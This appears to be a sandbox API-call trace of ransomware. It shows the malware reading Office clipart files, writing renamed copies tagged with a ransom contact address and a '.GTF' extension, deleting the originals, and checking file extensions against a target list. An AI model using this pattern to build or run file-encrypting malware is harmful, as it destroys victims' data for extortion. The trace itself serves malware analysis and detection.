	[0085.772] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2228) returned 1
	[0085.772] CloseHandle (hObject=0x378) returned 1
	[0085.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220
	[0085.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.772] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.772] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.773] GetLastError () returned 0x0
	[0085.773] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x8b4, lpOverlapped=0x0) returned 1
	[0085.774] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0085.775] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.775] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.775] SetEndOfFile (hFile=0x35c) returned 1
	[0085.775] CloseHandle (hObject=0x35c) returned 1
	[0085.775] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.775] SetEndOfFile (hFile=0x378) returned 1
	[0085.776] CloseHandle (hObject=0x378) returned 1
	[0085.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.777] lstrlenW (lpString=".doc") returned 4
	[0085.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.777] lstrlenW (lpString=".docx") returned 5
	[0085.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.777] lstrlenW (lpString=".pdf") returned 4
	[0085.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.777] lstrlenW (lpString=".xls") returned 4
	[0085.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.777] lstrlenW (lpString=".xlsx") returned 5
	[0085.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.777] lstrlenW (lpString=".ppt") returned 4
	[0085.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.777] lstrlenW (lpString=".zip") returned 4
	[0085.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.777] lstrlenW (lpString=".rar") returned 4
	[0085.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.777] lstrlenW (lpString=".bz2") returned 4
	[0085.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.777] lstrlenW (lpString=".7z") returned 3
	[0085.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.777] lstrlenW (lpString=".dbf") returned 4
	[0085.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.778] lstrlenW (lpString=".1cd") returned 4
	[0085.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.778] lstrlenW (lpString=".jpg") returned 4
	[0085.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.778] lstrlenW (lpString=".doc") returned 4
	[0085.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString=".docx") returned 5
	[0085.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.778] lstrlenW (lpString=".pdf") returned 4
	[0085.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString=".xls") returned 4
	[0085.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.778] lstrlenW (lpString=".xlsx") returned 5
	[0085.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.778] lstrlenW (lpString=".ppt") returned 4
	[0085.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.778] lstrlenW (lpString=".zip") returned 4
	[0085.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.778] lstrlenW (lpString=".rar") returned 4
	[0085.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString=".bz2") returned 4
	[0085.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString=".7z") returned 3
	[0085.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.778] lstrlenW (lpString=".dbf") returned 4
	[0085.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.778] lstrlenW (lpString=".1cd") returned 4
	[0085.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0085.778] lstrlenW (lpString=".jpg") returned 4
	[0085.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.779] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.779] lstrlenW (lpString="DD01162_.WMF") returned 12
	[0085.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.779] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2300) returned 1
	[0085.779] CloseHandle (hObject=0x378) returned 1
	[0085.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220
	[0085.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.779] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.779] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.780] GetLastError () returned 0x0
	[0085.780] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0085.782] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x900, lpOverlapped=0x0) returned 1
	[0085.783] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.783] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.783] SetEndOfFile (hFile=0x35c) returned 1
	[0085.783] CloseHandle (hObject=0x35c) returned 1
	[0085.783] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.783] SetEndOfFile (hFile=0x378) returned 1
	[0085.784] CloseHandle (hObject=0x378) returned 1
	[0085.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1
	[0085.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.784] lstrlenW (lpString=".doc") returned 4
	[0085.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.784] lstrlenW (lpString=".docx") returned 5
	[0085.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.784] lstrlenW (lpString=".pdf") returned 4
	[0085.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.784] lstrlenW (lpString=".xls") returned 4
	[0085.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.784] lstrlenW (lpString=".xlsx") returned 5
	[0085.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.784] lstrlenW (lpString=".ppt") returned 4
	[0085.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.785] lstrlenW (lpString=".zip") returned 4
	[0085.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.785] lstrlenW (lpString=".rar") returned 4
	[0085.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString=".bz2") returned 4
	[0085.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString=".7z") returned 3
	[0085.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.785] lstrlenW (lpString=".dbf") returned 4
	[0085.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.785] lstrlenW (lpString=".1cd") returned 4
	[0085.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.785] lstrlenW (lpString=".jpg") returned 4
	[0085.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.785] lstrlenW (lpString=".doc") returned 4
	[0085.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString=".docx") returned 5
	[0085.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.785] lstrlenW (lpString=".pdf") returned 4
	[0085.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString=".xls") returned 4
	[0085.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.785] lstrlenW (lpString=".xlsx") returned 5
	[0085.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.785] lstrlenW (lpString=".ppt") returned 4
	[0085.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.785] lstrlenW (lpString=".zip") returned 4
	[0085.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.785] lstrlenW (lpString=".rar") returned 4
	[0085.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.786] lstrlenW (lpString=".bz2") returned 4
	[0085.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.786] lstrlenW (lpString=".7z") returned 3
	[0085.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.786] lstrlenW (lpString=".dbf") returned 4
	[0085.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.786] lstrlenW (lpString=".1cd") returned 4
	[0085.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68
	[0085.786] lstrlenW (lpString=".jpg") returned 4
	[0085.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.786] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.786] lstrlenW (lpString="DD01163_.WMF") returned 12
	[0085.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.787] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2300) returned 1
	[0085.787] CloseHandle (hObject=0x378) returned 1
	[0085.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220
	[0085.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.787] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.787] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0085.788] GetLastError () returned 0x0
	[0085.788] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0085.789] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x900, lpOverlapped=0x0) returned 1
	[0085.790] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.790] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.790] SetEndOfFile (hFile=0x35c) returned 1
	[0085.791] CloseHandle (hObject=0x35c) returned 1
	[0085.791] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.791] SetEndOfFile (hFile=0x378) returned 1
	[0085.791] CloseHandle (hObject=0x378) returned 1
	[0085.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1
	[0085.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.796] lstrlenW (lpString=".doc") returned 4
	[0085.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.796] lstrlenW (lpString=".docx") returned 5
	[0085.796] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.796] lstrlenW (lpString=".pdf") returned 4
	[0085.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.796] lstrlenW (lpString=".xls") returned 4
	[0085.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.796] lstrlenW (lpString=".xlsx") returned 5
	[0085.796] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.796] lstrlenW (lpString=".ppt") returned 4
	[0085.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.796] lstrlenW (lpString=".zip") returned 4
	[0085.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.796] lstrlenW (lpString=".rar") returned 4
	[0085.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.796] lstrlenW (lpString=".bz2") returned 4
	[0085.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.796] lstrlenW (lpString=".7z") returned 3
	[0085.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.796] lstrlenW (lpString=".dbf") returned 4
	[0085.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.796] lstrlenW (lpString=".1cd") returned 4
	[0085.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.796] lstrlenW (lpString=".jpg") returned 4
	[0085.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.797] lstrlenW (lpString=".doc") returned 4
	[0085.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.797] lstrlenW (lpString=".docx") returned 5
	[0085.797] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.797] lstrlenW (lpString=".pdf") returned 4
	[0085.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.797] lstrlenW (lpString=".xls") returned 4
	[0085.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.797] lstrlenW (lpString=".xlsx") returned 5
	[0085.797] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.797] lstrlenW (lpString=".ppt") returned 4
	[0085.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.797] lstrlenW (lpString=".zip") returned 4
	[0085.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.797] lstrlenW (lpString=".rar") returned 4
	[0085.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.797] lstrlenW (lpString=".bz2") returned 4
	[0085.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.797] lstrlenW (lpString=".7z") returned 3
	[0085.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.797] lstrlenW (lpString=".dbf") returned 4
	[0085.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.797] lstrlenW (lpString=".1cd") returned 4
	[0085.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68
	[0085.797] lstrlenW (lpString=".jpg") returned 4
	[0085.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.797] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.797] lstrlenW (lpString="DD01166_.WMF") returned 12
